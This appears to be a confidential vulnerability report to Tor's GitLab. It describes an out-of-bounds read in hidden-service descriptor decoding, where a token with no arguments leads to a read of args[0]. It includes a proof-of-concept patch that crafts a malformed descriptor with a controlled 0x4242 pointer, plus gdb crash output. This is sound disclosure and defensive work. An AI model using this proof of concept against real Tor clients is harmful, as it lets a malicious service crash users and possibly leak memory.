GitLab

Reported by Sergei Glazunov at Google. This issue is confidential.

---

Greetings,

There's an out-of-bounds read issue in desc_decode_encrypted_v3.

Consider the definition of the R3_INTRO_AUTH_REQUIRED token:

/** Descriptor ruleset for the encrypted section. */
static token_rule_t hs_desc_encrypted_v3_token_table[] = {
  T1_START(str_create2_formats, R3_CREATE2_FORMATS, CONCAT_ARGS, NO_OBJ),
  T01(str_intro_auth_required, R3_INTRO_AUTH_REQUIRED, ARGS, NO_OBJ),
  T01(str_single_onion, R3_SINGLE_ONION_SERVICE, ARGS, NO_OBJ),
  END_OF_TABLE
};

The macro ARGS indicates that the token can have any number of arguments (including zero). However, the function desc_decode_encrypted_v3 expects the token to always have an argument at index 0:

/** Decode the version 3 encrypted section of the given descriptor desc. The
 * desc_encrypted_out will be populated with the decoded data. */
static hs_desc_decode_status_t
desc_decode_encrypted_v3(const hs_descriptor_t *desc,
                         const curve25519_secret_key_t *client_auth_sk,
                         hs_desc_encrypted_data_t *desc_encrypted_out)
{
[...]
  /* Authentication type. It's optional but only once. */
  tok = find_opt_by_keyword(tokens, R3_INTRO_AUTH_REQUIRED);
  if (tok) {
    if (!decode_auth_type(desc_encrypted_out, tok->args[0])) {
      log_warn(LD_REND, "Service descriptor authentication type has "
                        "invalid entry(ies).");
      goto err;
    }
  }

As a result, the function may access an out-of-bounds char pointer, which is then passed to decode_auth_type.

The easiest way to reproduce the issue is to apply the following patch and run one of the hs_descriptor unit tests. I’ve also confirmed that a malicious hidden service can crash clients that are trying to connect to it on a testnet.

diff --git a/src/feature/hs/hs_descriptor.c b/src/feature/hs/hs_descriptor.c
index 0656224e48..0e241a1d1a 100644
--- a/src/feature/hs/hs_descriptor.c
+++ b/src/feature/hs/hs_descriptor.c
@@ -754,14 +754,7 @@ get_inner_encrypted_layer_plaintext(const
hs_descriptor_t *desc)
     smartlist_add_asprintf(lines, "%s %d\n", str_create2_formats,
                            ONION_HANDSHAKE_TYPE_NTOR);

-    if (desc->encrypted_data.intro_auth_types &&
-        smartlist_len(desc->encrypted_data.intro_auth_types)) {
-      /* Put the authentication-required line. */
-      char *buf = smartlist_join_strings(desc->encrypted_data.intro_auth_types,
-                                         " ", 0, NULL);
-      smartlist_add_asprintf(lines, "%s %s\n", str_intro_auth_required, buf);
-      tor_free(buf);
-    }
+    smartlist_add_asprintf(lines, "%s\n", str_intro_auth_required);

     if (desc->encrypted_data.single_onion_service) {
       smartlist_add_asprintf(lines, "%s\n", str_single_onion);
@@ -827,6 +820,15 @@ get_outer_encrypted_layer_plaintext(const
hs_descriptor_t *desc,
     smartlist_add(lines, auth_client_lines);
   }

+
+  char tmp[4001];
+  memset(tmp, 'B', 4000);
+  tmp[4000] = 0;
+
+  for (int i = 0; i < 5; ++i)
+    smartlist_add_asprintf(lines,
+                             "opt %s\n", tmp);
+
   /* create encrypted section */
   {
     smartlist_add_asprintf(lines,
@@ -2673,18 +2675,6 @@ hs_desc_encode_descriptor,(const hs_descriptor_t *desc,
     goto err;
   }

-  /* Try to decode what we just encoded. Symmetry is nice!, but it is
-   * symmetric only if the client auth is disabled. That is, the descriptor
-   * cookie will be NULL. */
-  if (!descriptor_cookie) {
-    ret = hs_desc_decode_descriptor(*encoded_out, &desc->subcredential,
-                                    NULL, NULL);
-    if (BUG(ret != HS_DESC_DECODE_OK)) {
-      ret = -1;
-      goto err;
-    }
-  }
-
   return 0;

  err:

gdb output:

gdb --args ./src/test/test --no-fork hs_descriptor/decode_descriptor
[...]
Program received signal SIGSEGV, Segmentation fault.
__strchr_sse2 () at ../sysdeps/x86_64/multiarch/../strchr.S:32
32  ../sysdeps/x86_64/multiarch/../strchr.S: No such file or directory.
(gdb) x/i $pc
=> 0x7ffff77b8617 <__strchr_sse2+39>: movdqu xmm0,XMMWORD PTR [rdi]
(gdb) info reg
rax            0x242               578
rbx            0x0                 0
rcx            0x0                 0
rdx            0x0                 0
rsi            0x20                32
rdi            0x4242424242424242  4774451407313060418
rbp            0x7fffffffd9d0      0x7fffffffd9d0
rsp            0x7fffffffd958      0x7fffffffd958
r8             0x0                 0
r9             0x0                 0
r10            0x7ffff78a2ac0      140737346415296
r11            0x7ffff78a33c0      140737346417600
r12            0x0                 0
r13            0x2919ce            2693582
r14            0x3ba8e0            3909856
r15            0x4242424242424242  4774451407313060418
rip            0x7ffff77b8617      0x7ffff77b8617 <__strchr_sse2+39>
[...]
(gdb) bt
#0  __strchr_sse2 () at ../sysdeps/x86_64/multiarch/../strchr.S:32
#1  0x0000000000bc08f7 in smartlist_split_string (sl=0x1789e60,
str=<optimized out>, sep=<optimized out>, flags=<optimized out>,
max=<optimized out>)
    at src/lib/smartlist_core/smartlist_split.c:55
#2  0x00000000009c5dc4 in decode_auth_type (desc=0x17854c0,
list=0x4242424242424242 <error: Cannot access memory at address
0x4242424242424242>)
    at src/feature/hs/hs_descriptor.c:1216
#3  desc_decode_encrypted_v3 (desc=0x1785420,
client_auth_sk=<optimized out>, desc_encrypted_out=<optimized out>) at
src/feature/hs/hs_descriptor.c:2327
#4  0x00000000009c3c32 in hs_desc_decode_encrypted (desc=0x1785420,
client_auth_sk=<optimized out>, desc_encrypted=<optimized out>)
    at src/feature/hs/hs_descriptor.c:2421
#5  0x00000000009c4447 in hs_desc_decode_descriptor (
    encoded=0x17a7dd0 "hs-descriptor 3\ndescriptor-lifetime
180\ndescriptor-signing-key-cert\n-----BEGIN ED25519 CERT-----\n"...,
subcredential=<optimized out>, client_auth_sk=<optimized out>,
desc_out=<optimized out>)
    at src/feature/hs/hs_descriptor.c:2604
#6  0x000000000070cc44 in test_decode_descriptor (arg=<optimized out>)
at src/test/test_hs_descriptor.c:266
#7  0x00000000008e98c7 in testcase_run_bare_ (testcase=0xbf27b8
<hs_descriptor+120>) at src/ext/tinytest.c:107
#8  testcase_run_one (group=<optimized out>, testcase=0xbf27b8
<hs_descriptor+120>) at src/ext/tinytest.c:272
#9  0x00000000008ea4e2 in tinytest_main (c=<optimized out>,
v=<optimized out>, groups=<optimized out>) at src/ext/tinytest.c:454
#10 0x00000000008e8aa1 in main (c=3, v=<optimized out>) at
src/test/testing_common.c:420

The out-of-bounds pointer value can be controlled, but it’s extremely unlikely the issue can be used for anything other than a very limited info leak.

The issue is reported with no disclosure deadline.

Cheers Sergei